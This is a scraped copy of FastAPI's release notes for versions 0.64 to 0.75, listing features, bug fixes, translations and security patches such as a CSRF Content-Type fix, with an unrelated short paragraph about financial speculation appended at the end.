- ⬆️ Upgrade dependencies upper range for extras "all". PR #4803 by @tiangolo.
- ⬆ Upgrade Swagger UI - swagger-ui-dist@4. This handles a security issue in Swagger UI itself where it could be possible to inject HTML into Swagger UI. Please upgrade as soon as you can, in particular if you expose your Swagger UI (
/docs) publicly to non-expert users. PR #4347 by @RAlanWright.
Internal¶
- 🔧 Update sponsors, add: ExoFlare, Ines Course; remove: Dropbase, Vim.so, Calmcode; update: Striveworks, TalkPython and TestDriven.io. PR #4805 by @tiangolo.
- ⬆️ Upgrade Codecov GitHub Action. PR #4801 by @tiangolo.
0.75.1¶
Translations¶
- 🌐 Start Dutch translations. PR #4703 by @tiangolo.
- 🌐 Start Persian/Farsi translations. PR #4243 by @aminalaee.
- ✏ Reword sentence about handling errors. PR #1993 by @khuhroproeza.
Internal¶
- 👥 Update FastAPI People. PR #4752 by @github-actions[bot].
- ➖ Temporarily remove typer-cli from dependencies and upgrade Black to unblock Pydantic CI. PR #4754 by @tiangolo.
- 🔧 Add configuration to notify Dutch translations. PR #4702 by @tiangolo.
- 👥 Update FastAPI People. PR #4699 by @github-actions[bot].
- 🐛 Fix FastAPI People generation to include missing file in commit. PR #4695 by @tiangolo.
- 🔧 Update Classiq sponsor links. PR #4688 by @tiangolo.
- 🔧 Add Classiq sponsor. PR #4671 by @tiangolo.
- 📝 Add Jina's QA Bot to the docs to help people that want to ask quick questions. PR #4655 by @tiangolo based on original PR #4626 by @hanxiao.
0.75.0¶
Features¶
- ✨ Add support for custom
generate_unique_id_functionand docs for generating clients. New docs: Advanced - Generate Clients. PR #4650 by @tiangolo.
0.74.1¶
Features¶
- ✨ Include route in scope to allow middleware and other tools to extract its information. PR #4603 by @tiangolo.
0.74.0¶
Breaking Changes¶
Dependencies with
yield can now catch
HTTPException and custom exceptions. For example:
async def get_database(): with Session() as session: try: yield session except HTTPException: session.rollback() raise finally: session.close()
After the dependency with
yield handles the exception (or not) the exception is raised again. So that any exception handlers can catch it, or ultimately the default internal
ServerErrorMiddleware.
If you depended on exceptions not being received by dependencies with
yield, and receiving an exception breaks the code after
yield, you can use a block with
try and
finally:
async def do_something(): try: yield something finally: some_cleanup()
...that way the
finally block is run regardless of any exception that might happen.
Features¶
- The same PR #4575 from above also fixes the
contextvarscontext for the code before and after
yield. This was the main objective of that PR.
This means that now, if you set a value in a context variable before
yield, the value would still be available after
yield (as you would intuitively expect). And it also means that you can reset the context variable with a token afterwards.
For example, this works correctly now:
from contextvars import ContextVar from typing import Any, Dict, Optional legacy_request_state_context_var: ContextVar[Optional[Dict[str, Any]]] = ContextVar( "legacy_request_state_context_var", default=None ) async def set_up_request_state_dependency(): request_state = {"user": "deadpond"} contextvar_token = legacy_request_state_context_var.set(request_state) yield request_state legacy_request_state_context_var.reset(contextvar_token)
...before this change it would raise an error when resetting the context variable, because the
contextvars context was different, because of the way it was implemented.
Note: You probably don't need
contextvars, and you should probably avoid using them. But they are powerful and useful in some advanced scenarios, for example, migrating from code that used Flask's
g semi-global variable.
Technical Details: If you want to know more of the technical details you can check out the PR description #4575.
Internal¶
- 🔧 Add Striveworks sponsor. PR #4596 by @tiangolo.
- 💚 Only build docs on push when on master to avoid duplicate runs from PRs. PR #4564 by @tiangolo.
- 👥 Update FastAPI People. PR #4502 by @github-actions[bot].
0.73.0¶
Features¶
- ✨ Add support for declaring
UploadFileparameters without explicit
File(). PR #4469 by @tiangolo. New docs: Request Files - File Parameters with UploadFile.
- ✨ Add support for tags with Enums. PR #4468 by @tiangolo. New docs: Path Operation Configuration - Tags with Enums.
- ✨ Allow hiding from OpenAPI (and Swagger UI)
Query,
Cookie,
Header, and
Pathparameters. PR #3144 by @astraldawn. New docs: Query Parameters and String Validations - Exclude from OpenAPI.
Docs¶
Fixes¶
- 🐛 Fix bug preventing to use OpenAPI when using tuples. PR #3874 by @victorbenichoux.
- 🐛 Prefer custom encoder over defaults if specified in
jsonable_encoder. PR #2061 by @viveksunder.
Internal¶
- 🐛 Fix docs dependencies cache, to get the latest Material for MkDocs. PR #4466 by @tiangolo.
- 🔧 Add sponsor Dropbase. PR #4465 by @tiangolo.
0.72.0¶
Features¶
- ✨ Enable configuring Swagger UI parameters. Original PR #2568 by @jmriebold. Here are the new docs: Configuring Swagger UI.
Docs¶
Translations¶
- 🌐 Update Chinese translation for
docs/help-fastapi.md. PR #3847 by @jaystone776.
- 🌐 Fix Korean translation for
docs/ko/docs/index.md. PR #4195 by @kty4119.
- 🌐 Add Polish translation for
docs/pl/docs/index.md. PR #4245 by @MicroPanda123.
- 🌐 Add Chinese translation for
docs\tutorial\path-operation-configuration.md. PR #3312 by @jaystone776.
Internal¶
0.71.0¶
Features¶
- ✨ Add docs and tests for Python 3.9 and Python 3.10. PR #3712 by @tiangolo.
- You can start with Python Types Intro, it explains what changes between different Python versions, in Python 3.9 and in Python 3.10.
- All the FastAPI docs are updated. Each code example in the docs that could use different syntax in Python 3.9 or Python 3.10 now has all the alternatives in tabs.
- ⬆️ Upgrade Starlette to 0.17.1. PR #4145 by @simondale00.
Internal¶
- 👥 Update FastAPI People. PR #4354 by @github-actions[bot].
- 🔧 Add FastAPI Trove Classifier for PyPI as now there's one 🤷😁. PR #4386 by @tiangolo.
- ⬆ Upgrade MkDocs Material and configs. PR #4385 by @tiangolo.
0.70.1¶
There's nothing interesting in this particular FastAPI release. It is mainly to enable/unblock the release of the next version of Pydantic that comes packed with features and improvements. 🤩
Fixes¶
- 🐛 Fix JSON Schema for dataclasses, supporting the fixes in Pydantic 1.9. PR #4272 by @PrettyWood.
Translations¶
- 🌐 Add Korean translation for
docs/tutorial/request-forms-and-files.md. PR #3744 by @NinaHwang.
- 🌐 Add Korean translation for
docs/tutorial/request-files.md. PR #3743 by @NinaHwang.
- 🌐 Add portuguese translation for
docs/tutorial/query-params-str-validations.md. PR #3965 by @leandrodesouzadev.
- 🌐 Add Korean translation for
docs/tutorial/response-status-code.md. PR #3742 by @NinaHwang.
- 🌐 Add Korean translation for Tutorial - JSON Compatible Encoder. PR #3152 by @NEONKID.
- 🌐 Add Korean translation for Tutorial - Path Parameters and Numeric Validations. PR #2432 by @hard-coders.
- 🌐 Add Korean translation for
docs/ko/docs/deployment/versions.md. PR #4121 by @DevDae.
- 🌐 Fix Korean translation for
docs/ko/docs/tutorial/index.md. PR #4193 by @kimjaeyoonn.
- 🔧 Add CryptAPI sponsor. PR #4264 by @tiangolo.
- 📝 Update
docs/tutorial/dependencies/classes-as-dependencies: Add type of query parameters in a description of
Classes as dependencies. PR #4015 by @0417taehyun.
- 🌐 Add French translation for Tutorial - First steps. PR #3455 by @Smlep.
- 🌐 Add French translation for
docs/tutorial/path-params.md. PR #3548 by @Smlep.
- 🌐 Add French translation for
docs/tutorial/query-params.md. PR #3556 by @Smlep.
- 🌐 Add Turkish translation for
docs/python-types.md. PR #3926 by @BilalAlpaslan.
Internal¶
- 👥 Update FastAPI People. PR #4274 by @github-actions[bot].
0.70.0¶
This release just upgrades Starlette to the latest version,
0.16.0, which includes several bug fixes and some small breaking changes.
These last three consecutive releases are independent so that you can migrate gradually:
- First to FastAPI
0.68.2, with no breaking changes, but upgrading all the sub-dependencies.
- Next to FastAPI
0.69.0, which upgrades Starlette to
0.15.0, with AnyIO support, and a higher chance of having breaking changes in your code.
- Finally to FastAPI
0.70.0, just upgrading Starlette to the latest version
0.16.0with additional bug fixes.
This way, in case there was a breaking change for your code in one of the releases, you can still benefit from the previous upgrades. ✨
Breaking Changes - Upgrade¶
Also upgrades the ranges of optional dependencies:
"jinja2 >=2.11.2,<4.0.0"
"itsdangerous >=1.1.0,<3.0.0"
0.69.0¶
Breaking Changes - Upgrade¶
This release adds support for Trio. ✨
It upgrades the version of Starlette to
0.15.0, now based on AnyIO, and the internal async components in FastAPI are now based on AnyIO as well, making it compatible with both asyncio and Trio.
You can read the docs about running FastAPI with Trio using Hypercorn.
This release also removes
graphene as an optional dependency for GraphQL. If you need to work with GraphQL, the recommended library now is Strawberry. You can read the new FastAPI with GraphQL docs.
Features¶
- ✨ Add support for Trio via AnyIO, upgrading Starlette to
0.15.0. PR #3372 by @graingert.
- ➖ Remove
grapheneas an optional dependency. PR #4007 by @tiangolo.
Docs¶
- 📝 Add docs for using Trio with Hypercorn. PR #4014 by @tiangolo.
- ✏ Fix typos in Deployment Guide. PR #3975 by @ghandic.
- 📝 Update docs with pip install calls when using extras with brackets, use quotes for compatibility with Zsh. PR #3131 by @tomwei7.
- 📝 Add external link to article: Deploying ML Models as API Using FastAPI and Heroku. PR #3904 by @kaustubhgupta.
- ✏ Fix typo in file paths in
docs/en/docs/contributing.md. PR #3752 by @NinaHwang.
- ✏ Fix a typo in
docs/en/docs/advanced/path-operation-advanced-configuration.mdand
docs/en/docs/release-notes.md. PR #3750 by @saintmalik.
- ✏️ Add a missing comma in the security tutorial. PR #3564 by @jalvaradosegura.
- ✏ Fix typo in
docs/en/docs/help-fastapi.md. PR #3760 by @jaystone776.
- ✏ Fix typo about file path in
docs/en/docs/tutorial/bigger-applications.md. PR #3285 by @HolyDorus.
- ✏ Re-word to clarify test client in
docs/en/docs/tutorial/testing.md. PR #3382 by @Bharat123rox.
- 📝 Fix incorrect highlighted code. PR #3325 by @paxcodes.
- 📝 Add external link to article: How-to deploy FastAPI app to Heroku. PR #3241 by @Jarmos-san.
- ✏ Fix typo (mistranslation) in
docs/en/docs/advanced/templates.md. PR #3211 by @oerpli.
- 📝 Remove note about (now supported) feature from Swagger UI in
docs/en/docs/tutorial/request-files.md. PR #2803 by @gsganden.
- ✏ Fix typo re-word in
docs/tutorial/handling-errors.md. PR #2700 by @graue70.
Translations¶
- 🌐 Initialize Azerbaijani translations. PR #3941 by @madatbay.
- 🌐 Add Turkish translation for
docs/fastapi-people.md. PR #3848 by @BilalAlpaslan.
Internal¶
- 📝 Add supported Python versions badge. PR #2794 by @hramezani.
- ✏ Fix link in Japanese docs for
docs/ja/docs/deployment/docker.md. PR #3245 by @utamori.
- 🔧 Correct DeprecationWarning config and comment in pytest settings. PR #4008 by @graingert.
- 🔧 Swap light/dark theme button icon. PR #3246 by @eddsalkield.
- 🔧 Lint only in Python 3.7 and above. PR #4006 by @tiangolo.
- 🔧 Add GitHub Action notify-translations config for Azerbaijani. PR #3995 by @tiangolo.
0.68.2¶
This release has no breaking changes. 🎉
It upgrades the version ranges of sub-dependencies to allow applications using FastAPI to easily upgrade them.
Soon there will be a new FastAPI release upgrading Starlette to take advantage of recent improvements, but as that has a higher chance of having breaking changes, it will be in a separate release.
Features¶
- ⬆Increase supported version of aiofiles to suppress warnings. PR #2899 by @SnkSynthesis.
- ➖ Do not require backports in Python >= 3.7. PR #1880 by @FFY00.
- ⬆ Upgrade required Python version to >= 3.6.1, needed by typing.Deque, used by Pydantic. PR #2733 by @hukkin.
- ⬆️ Bump Uvicorn max range to 0.15.0. PR #3345 by @Kludex.
Docs¶
- 📝 Update GraphQL docs, recommend Strawberry. PR #3981 by @tiangolo.
- 📝 Re-write and extend Deployment guide: Concepts, Uvicorn, Gunicorn, Docker, Containers, Kubernetes. PR #3974 by @tiangolo.
- 📝 Upgrade HTTPS guide with more explanations and diagrams. PR #3950 by @tiangolo.
Translations¶
- 🌐 Add Turkish translation for
docs/features.md. PR #1950 by @ycd.
- 🌐 Add Turkish translation for
docs/benchmarks.md. PR #2729 by @Telomeraz.
- 🌐 Add Turkish translation for
docs/index.md. PR #1908 by @ycd.
- 🌐 Add French translation for
docs/tutorial/body.md. PR #3671 by @Smlep.
- 🌐 Add French translation for
deployment/docker.md. PR #3694 by @rjNemo.
- 🌐 Add Portuguese translation for
docs/tutorial/path-params.md. PR #3664 by @FelipeSilva93.
- 🌐 Add Portuguese translation for
docs/deployment/https.md. PR #3754 by @lsglucas.
- 🌐 Add German translation for
docs/features.md. PR #3699 by @mawassk.
Internal¶
- ✨ Update GitHub Action: notify-translations, to avoid a race conditions. PR #3989 by @tiangolo.
- ⬆️ Upgrade development
autoflake, supporting multi-line imports. PR #3988 by @tiangolo.
- ⬆️ Increase dependency ranges for tests and docs: pytest-cov, pytest-asyncio, black, httpx, sqlalchemy, databases, mkdocs-markdownextradata-plugin. PR #3987 by @tiangolo.
- 👥 Update FastAPI People. PR #3986 by @github-actions[bot].
- 💚 Fix badges in README and main page. PR #3979 by @ghandic.
- ⬆ Upgrade internal testing dependencies: mypy to version 0.910, add newly needed type packages. PR #3350 by @ArcLightSlavik.
- ✨ Add Deepset Sponsorship. PR #3976 by @tiangolo.
- 🎨 Tweak CSS styles for shell animations. PR #3888 by @tiangolo.
- 🔧 Add new Sponsor Calmcode.io. PR #3777 by @tiangolo.
0.68.1¶
- ✨ Add support for
read_with_orm_mode, to support SQLModel relationship attributes. PR #3757 by @tiangolo.
Translations¶
- 🌐 Add Portuguese translation of
docs/fastapi-people.md. PR #3461 by @ComicShrimp.
- 🌐 Add Chinese translation for
docs/tutorial/dependencies/dependencies-in-path-operation-decorators.md. PR #3492 by @jaystone776.
- 🔧 Add new Translation tracking issues for German and Indonesian. PR #3718 by @tiangolo.
- 🌐 Add Chinese translation for
docs/tutorial/dependencies/sub-dependencies.md. PR #3491 by @jaystone776.
- 🌐 Add Portuguese translation for
docs/advanced/index.md. PR #3460 by @ComicShrimp.
- 🌐 Portuguese translation of
docs/async.md. PR #1330 by @Serrones.
- 🌐 Add French translation for
docs/async.md. PR #3416 by @Smlep.
Internal¶
- ✨ Add GitHub Action: Notify Translations. PR #3715 by @tiangolo.
- ✨ Update computation of FastAPI People and sponsors. PR #3714 by @tiangolo.
- ✨ Enable recent Material for MkDocs Insiders features. PR #3710 by @tiangolo.
- 🔥 Remove/clean extra imports from examples in docs for features. PR #3709 by @tiangolo.
- ➕ Update docs library to include sources in Markdown. PR #3648 by @tiangolo.
- ⬆ Enable tests for Python 3.9. PR #2298 by @Kludex.
- 👥 Update FastAPI People. PR #3642 by @github-actions[bot].
0.68.0¶
Features¶
- ✨ Add support for extensions and updates to the OpenAPI schema in each path operation. New docs: FastAPI Path Operation Advanced Configuration - OpenAPI Extra. Initial PR #1922 by @edouardlp.
- ✨ Add additional OpenAPI metadata parameters to
FastAPIclass, shown on the automatic API docs UI. New docs: Metadata and Docs URLs. Initial PR #1812 by @dkreeft.
- ✨ Add
descriptionparameter to all the security scheme classes, e.g.
APIKeyQuery(name="key", description="A very cool API key"). PR #1757 by @hylkepostma.
- ✨ Update OpenAPI models, supporting recursive models and extensions. PR #3628 by @tiangolo.
- ✨ Import and re-export data structures from Starlette, used by Request properties, on
fastapi.datastructures. Initial PR #1872 by @jamescurtin.
Docs¶
- 📝 Update docs about async and response-model with more gender neutral language. PR #1869 by @Edward-Knight.
Translations¶
- 🌐 Add Russian translation for
docs/python-types.md. PR #3039 by @dukkee.
- 🌐 Add Chinese translation for
docs/tutorial/dependencies/index.md. PR #3489 by @jaystone776.
- 🌐 Add Russian translation for
docs/external-links.md. PR #3036 by @dukkee.
- 🌐 Add Chinese translation for
docs/tutorial/dependencies/global-dependencies.md. PR #3493 by @jaystone776.
- 🌐 Add Portuguese translation for
docs/deployment/versions.md. PR #3618 by @lsglucas.
- 🌐 Add Japanese translation for
docs/tutorial/security/oauth2-jwt.md. PR #3526 by @sattosan.
Internal¶
- ✅ Add the
docs_srcdirectory to test coverage and update tests. Initial PR #1904 by @Kludex.
- 🔧 Add new GitHub templates with forms for new issues. PR #3612 by @tiangolo.
- 📝 Add official FastAPI Twitter to docs: @fastapi. PR #3578 by @tiangolo.
0.67.0¶
Features¶
- ✨ Add support for
dataclassesin request bodies and
response_model. New documentation: Advanced User Guide - Using Dataclasses. PR #3577 by @tiangolo.
- ✨ Support
dataclassesin responses. PR #3576 by @tiangolo, continuation from initial PR #2722 by @amitlissack.
Docs¶
- 📝 Add external link: How to Create A Fake Certificate Authority And Generate TLS Certs for FastAPI. PR #2839 by @aitoehigie.
- ✏ Fix code highlighted line in:
body-nested-models.md. PR #3463 by @jaystone776.
- ✏ Fix typo in
body-nested-models.md. PR #3462 by @jaystone776.
- ✏ Fix typo "might me" -> "might be" in
docs/en/docs/tutorial/schema-extra-example.md. PR #3362 by @dbrakman.
- 📝 Add external link: Building simple E-Commerce with NuxtJS and FastAPI. PR #3271 by @ShahriyarR.
- 📝 Add external link: Serve a machine learning model using Sklearn, FastAPI and Docker. PR #2974 by @rodrigo-arenas.
- ✏️ Fix typo on docstring in datastructures file. PR #2887 by @Kludex.
- 📝 Add External Link: Deploy FastAPI on Ubuntu and Serve using Caddy 2 Web Server. PR #3572 by @tiangolo.
- 📝 Add External Link, replaces #1898. PR #3571 by @tiangolo.
Internal¶
- 🎨 Improve style for sponsors, add radius border. PR #2388 by @Kludex.
- 👷 Update GitHub Action latest-changes. PR #3574 by @tiangolo.
- 👷 Update GitHub Action latest-changes. PR #3573 by @tiangolo.
- 👷 Rename and clarify CI workflow job names. PR #3570 by @tiangolo.
- 👷 Update GitHub Action latest-changes, strike 2 ⚾. PR #3575 by @tiangolo.
- 🔧 Sort external links in docs to have the most recent at the top. PR #3568 by @tiangolo.
0.66.1¶
Translations¶
- 🌐 Add basic setup for German translations. PR #3522 by @0x4Dark.
- 🌐 Add Portuguese translation for
docs/tutorial/security/index.md. PR #3507 by @oandersonmagalhaes.
- 🌐 Add Portuguese translation for
docs/deployment/index.md. PR #3337 by @lsglucas.
Internal¶
- 🔧 Configure strict pytest options and update/refactor tests. Upgrade pytest to
>=6.2.4,<7.0.0and pytest-cov to
>=2.12.0,<3.0.0. Initial PR #2790 by @graingert.
- ⬆️ Upgrade python-jose dependency to
>=3.3.0,<4.0.0for tests. PR #3468 by @tiangolo.
0.66.0¶
Features¶
- ✨ Allow setting the
response_classto
RedirectResponseor
FileResponseand returning the URL from the function. New and updated docs are in the tutorial section Custom Response - HTML, Stream, File, others, in RedirectResponse and in FileResponse. PR #3457 by @tiangolo.
Fixes¶
- 🐛 Fix include/exclude for dicts in
jsonable_encoder. PR #2016 by @Rubikoid.
- 🐛 Support custom OpenAPI / JSON Schema fields in the generated output OpenAPI. PR #1429 by @jmagnusson.
Translations¶
- 🌐 Add Spanish translation for
tutorial/query-params.md. PR #2243 by @mariacamilagl.
- 🌐 Add Spanish translation for
advanced/response-directly.md. PR #1253 by @jfunez.
- 🌐 Add Spanish translation for
advanced/additional-status-codes.md. PR #1252 by @jfunez.
- 🌐 Add Spanish translation for
advanced/path-operation-advanced-configuration.md. PR #1251 by @jfunez.
0.65.3¶
Fixes¶
- ♻ Assume request bodies contain JSON when no Content-Type header is provided. This fixes a breaking change introduced by 0.65.2 with PR #2118. It should allow upgrading FastAPI applications with clients that send JSON data without a
Content-Typeheader. And there's still protection against CSRFs. PR #3456 by @tiangolo.
Translations¶
- 🌐 Initialize Indonesian translations. PR #3014 by @pace-noge.
- 🌐 Add Spanish translation of Tutorial - Path Parameters. PR #2219 by @mariacamilagl.
- 🌐 Add Spanish translation of Tutorial - First Steps. PR #2208 by @mariacamilagl.
- 🌐 Portuguese translation of Tutorial - Body - Fields. PR #3420 by @ComicShrimp.
- 🌐 Add Chinese translation for Tutorial - Request - Forms - and - Files. PR #3249 by @jaystone776.
- 🌐 Add Chinese translation for Tutorial - Handling - Errors. PR #3299 by @jaystone776.
- 🌐 Add Chinese translation for Tutorial - Form - Data. PR #3248 by @jaystone776.
- 🌐 Add Chinese translation for Tutorial - Body - Updates. PR #3237 by @jaystone776.
- 🌐 Add Chinese translation for FastAPI People. PR #3112 by @hareru.
- 🌐 Add French translation for Project Generation. PR #3197 by @Smlep.
- 🌐 Add French translation for Python Types Intro. PR #3185 by @Smlep.
- 🌐 Add French translation for External Links. PR #3103 by @Smlep.
- 🌐 Add French translation for Alternatives, Inspiration and Comparisons. PR #3020 by @rjNemo.
- 🌐 Fix Chinese translation code snippet mismatch in Tutorial - Python Types Intro. PR #2573 by @BoYanZh.
- 🌐 Add Portuguese translation for Development Contributing. PR #1364 by @Serrones.
- 🌐 Add Chinese translation for Tutorial - Request - Files. PR #3244 by @jaystone776.
Internal¶
- 👥 Update FastAPI People. PR #3450 by @github-actions[bot].
- 👥 Update FastAPI People. PR #3319 by @github-actions[bot].
- ⬆ Upgrade docs development dependency on
typer-clito >=0.0.12 to fix conflicts. PR #3429 by @tiangolo.
0.65.2¶
Security fixes¶
- 🔒 Check Content-Type request header before assuming JSON. Initial PR #2118 by @patrickkwang.
This change fixes a CSRF security vulnerability when using cookies for authentication in path operations with JSON payloads sent by browsers.
In versions lower than
0.65.2, FastAPI would try to read the request payload as JSON even if the
content-type header sent was not set to
application/json or a compatible JSON media type (e.g.
application/geo+json).
So, a request with a content type of
text/plain containing JSON data would be accepted and the JSON data would be extracted.
But requests with content type
text/plain are exempt from CORS preflights, for being considered Simple requests. So, the browser would execute them right away including cookies, and the text content could be a JSON string that would be parsed and accepted by the FastAPI application.
See CVE-2021-32677 for more details.
Thanks to Dima Boger for the security report! 🙇🔒
Internal¶
- 🔧 Update sponsors badge, course bundle. PR #3340 by @tiangolo.
- 🔧 Add new gold sponsor Jina 🎉. PR #3291 by @tiangolo.
- 🔧 Add new banner sponsor badge for FastAPI courses bundle. PR #3288 by @tiangolo.
- 👷 Upgrade Issue Manager GitHub Action. PR #3236 by @tiangolo.
0.65.1¶
Security fixes¶
- 📌 Upgrade pydantic pin, to handle security vulnerability CVE-2021-29510. PR #3213 by @tiangolo.
0.65.0¶
Breaking Changes - Upgrade¶
- ⬆️ Upgrade Starlette to
0.14.2, including internal
UJSONResponsemigrated from Starlette. This includes several bug fixes and features from Starlette. PR #2335 by @hanneskuettner.
Translations¶
- 🌐 Initialize new language Polish for translations. PR #3170 by @neternefer.
Internal¶
- 👷 Add GitHub Action cache to speed up CI installs. PR #3204 by @tiangolo.
- ⬆️ Upgrade setup-python GitHub Action to v2. PR #3203 by @tiangolo.
- 🐛 Fix docs script to generate a new translation language with
overridesboilerplate. PR #3202 by @tiangolo.
- ✨ Add new Deta banner badge with new sponsorship tier 🙇. PR #3194 by @tiangolo.
- 👥 Update FastAPI People. PR #3189 by @github-actions[bot].
- 🔊 Update FastAPI People to allow better debugging. PR #3188 by @tiangolo.
0.64.0¶
Features¶
- ✨ Add support for adding multiple
examplesin request bodies and path, query, cookie, and header params. New docs: Declare Request Example Data. Initial PR #1267 by @austinorr. Add link to article in Russian "FastAPI: знакомимся с фреймворком". PR #2564 by @trkohler.
- 📝 Add external link to blog post "Authenticate Your FastAPI App with Auth0". PR #2172 by @dompatmore.
- Fix Chinese translation of Tutorial - Query Parameters, remove obsolete content. PR #3051 by @louis70109.
- 🌐 Add French translation for Tutorial - Background Tasks. PR #3098 by @Smlep.
- 🌐 Fix Korean translation for docs/ko/docs/index.md. PR #3159 by @SueNaEunYang.
- 🌐 Add Korean translation for Tutorial - Query Parameters. PR #2390 by @hard-coders.
- 🌐 Add French translation for FastAPI People. PR #2232 by @JulianMaurin.
- 🌐 Add Korean translation for Tutorial - Path Parameters. PR #2355 by @hard-coders.
- 🌐 Add French translation for Features. PR #2157 by @Jefidev.
- 👥 Update FastAPI People. PR #3031 by @github-actions[bot].
- 🌐 Add Chinese translation for Tutorial - Debugging. PR #2737 by @blt232018.
- FastAPI People GitHub Sponsors order. PR #2620. | https://fastapi.tiangolo.com/ru/release-notes/ | CC-MAIN-2022-40 | refinedweb | 6,987 | 56.21 |
branch: master commit c4faf78a985aa8a147b4a5f7530ea43d0ad55835 Author: Paul Eggert <address@hidden> Commit: Paul Eggert <address@hidden> Move union emacs_align_type to alloc.c * src/alloc.c (union emacs_align_type): Move to here ... * src/lisp.h: ... from here, and uncomment out some of the types that alloc.c can see but lisp.h cannot. --- src/alloc.c | 40 ++++++++++++++++++++++++++++++++++++++++ src/lisp.h | 42 +----------------------------------------- 2 files changed, 41 insertions(+), 41 deletions(-) diff --git a/src/alloc.c b/src/alloc.c index 77d5d28..f860939 100644 --- a/src/alloc.c +++ b/src/alloc.c @@ -104,6 +104,46 @@ along with GNU Emacs. If not, see <>. */ #include "w32heap.h" /* for sbrk */ #endif +/* frame frame; + struct Lisp_Bignum Lisp_Bignum; + terminal terminal; + struct thread_state thread_state; + struct window window; + + /* Omit the following since they would require including process.h + etc. In practice their alignments never exceed that of the + structs already listed. */ +#if 0 + struct Lisp_Module_Function Lisp_Module_Function; + struct Lisp_Process Lisp_Process; + struct save_window_data save_window_data; + struct scroll_bar scroll_bar; + struct xwidget_view xwidget_view; + struct xwidget xwidget; +#endif +}; + /* MALLOC_SIZE_NEAR (N) is a good number to pass to malloc when allocating a block of memory with size close to N bytes. For best results N should be a power of 2. diff --git a/src/lisp.h b/src/lisp.h index 937052f..8bd83a8 100644 --- a/src/lisp.h +++ b/src/lisp.h @@ -278,7 +278,7 @@ error !; and does not contain a GC-aligned struct or union, putting GCALIGNED_STRUCT after its closing '}' can help the compiler generate better code. Also, such structs should be added to the - emacs_align_type union. + emacs_align_type union in alloc.c. Although these macros are reasonably portable, they are not guaranteed on non-GCC platforms, as C11 does not require support @@ -5060,46 +5060,6 @@ maybe_gc (void) maybe_garbage_collect (); } -/* thread_state thread_state; - - /* Omit the following since they would require including bignum.h, - frame.h etc., and in practice their alignments never exceed that - of the structs already listed. */ -#if 0 - struct frame frame; - struct Lisp_Bignum Lisp_Bignum; - struct Lisp_Module_Function Lisp_Module_Function; - struct Lisp_Process Lisp_Process; - struct save_window_data save_window_data; - struct scroll_bar scroll_bar; - struct terminal terminal; - struct window window; - struct xwidget xwidget; - struct xwidget_view xwidget_view; -#endif -}; - INLINE_HEADER_END #endif /* EMACS_LISP_H */ | https://lists.gnu.org/archive/html/emacs-diffs/2020-05/msg00426.html | CC-MAIN-2020-29 | refinedweb | 347 | 58.99 |
ManyToMany constraints problemAlberto Martinez Nov 30, 2006 11:48 AM
Hello.
I have some problems using a ManyToMany relationship model. I think that it is an error in my implementation (probably with the CascadeType), but I don't know how to mend it.
I have this model:
public class Libro implements Serializable { ... @ManyToMany (cascade = {CascadeType.PERSIST}) @JoinTable(name = "LibrosEtiquetas", joinColumns = { @JoinColumn(name = "idLibro") }, inverseJoinColumns = { @JoinColumn(name = "idEtiqueta") }) private List<Etiqueta> etiquetas; ...
public class Etiqueta implements Serializable { .... @ManyToMany(cascade = { CascadeType.PERSIST }, mappedBy = "etiquetas") private List<Libro> libros; ....
When I persist a "libro" and the List is filled with "etiquetas" that doesn't exist in the database, it woks ok. It create the new "libro", the new "etiquetas" and the relation in the join table.
But if I persist with any existent "etiqueta" in the List it returns me an exception because it tries to create the "etiqueta" again... I don't know how can get that it does not try to create an "etiqueta" which is already created.
Caused by: java.sql.BatchUpdateException: Duplicate entry 'dos' for key 1 at com.mysql.jdbc.ServerPreparedStatement.executeBatch(ServerPreparedStatement.java:657) at org.jboss.resource.adapter.jdbc.WrappedStatement.executeBatch(WrappedStatement.java:517) at org.hibernate.jdbc.BatchingBatcher.doExecuteBatch(BatchingBatcher.java:58) at org.hibernate.jdbc.AbstractBatcher.executeBatch(AbstractBatcher.java:242)
Thank, and sorry for my english :D
1. Re: ManyToMany constraints problemKevin Fowlks Dec 4, 2006 3:49 PM (in response to Alberto Martinez)
I am having the same problem. Did you ever solve this issue?
- Kevin
2. Re: ManyToMany constraints problemAlberto Martinez Dec 5, 2006 10:59 AM (in response to Alberto Martinez)
No, sorry... I have not solve it...
3. Re: ManyToMany constraints problemKevin Fowlks Dec 5, 2006 2:22 PM (in response to Alberto Martinez)
I've solved my problem which i belive is the same as yours. My solution was to use the em.merge instead of a em.persist. This is weird because my Owner object is new e.g. (has never been persist before). But this works!!!!! So basicly i have a check to see if child object has a known ID if so then merge else call persist.
- Kevin
4. Re: ManyToMany constraints problemAlberto Martinez Dec 7, 2006 2:56 AM (in response to Alberto Martinez)
Ok... I am going to try that.
Thanks.
5. Re: ManyToMany constraints problemMartin Hesse Dec 7, 2006 10:51 AM (in response to Alberto Martinez)
Is there a reason for the usage of CascadeType.PERSIST on the many-to-many relationship in the etiquetas class?
Since that very relationship is mapped by the etiquetas field in the libros class, you probably won't ever manipulate the collection of libros in the etiquetas, but only do reads on it. Therefor I would suggest removing the cascadeType in the etiquetas class.
The decision wether to use cascading on relationships affects the way you use the entitymanager. You can do everything without cascading, it is just less comfortable (more persist and merge calls). In this very case you would have to manage the etiquetas seperatly. This is maybe a good idea, since they don't seem to form a composition with libros (can live without them).
If you don't feel comfortable with cascading, then you can turn it off and do things manually.
Best regards,
Martin | https://developer.jboss.org/message/359643 | CC-MAIN-2019-35 | refinedweb | 553 | 50.84 |
>
The question is answered, right answer was accepted
Hello! I am here because I have encountered a problem with the Unity 5 Standard Assets. When I import the assets I get this error:
Assets/Standard Assets/Characters/FirstPersonCharacter/Scripts/FirstPersonController.cs(4,27): error CS0234: The type or namespace name Utility' does not exist in the namespace UnityStandardAssets'. Are you missing an assembly reference?
Utility' does not exist in the namespace
Not sure why it doesn't work, this is an official Unity Asset Package. I would greatly appreciate if anyone could help me fix this. Thanks in advance.
i got the same issue even i have imported utility but still got same error
Answer by Cobrryse
·
Jun 11, 2015 at 03:14 PM
Nevermind, it seems to be working now, not sure what.
The type or namespace name `CnControls' does not exist in the namespace `UnityStandardAssets'. Are you missing an assembly reference?
2
Answers
Why do I not get Standard Assets?
1
Answer
Why can't I import some standard assets?
0
Answers
Não Consigo Arrastar um asset para scene
0
Answers
Javascript and start Assets not available
1
Answer | https://answers.unity.com/questions/984652/problem-with-unity-5-standard-assets.html | CC-MAIN-2019-26 | refinedweb | 191 | 58.38 |
Speculation: Taking a Risk to Gain Profit
Speculation involves profiting from the change in the price of an asset. No matter what kind of asset you consider, the desired change in price is an increase when you sell it. In other words, all speculation involves buying low and selling high.
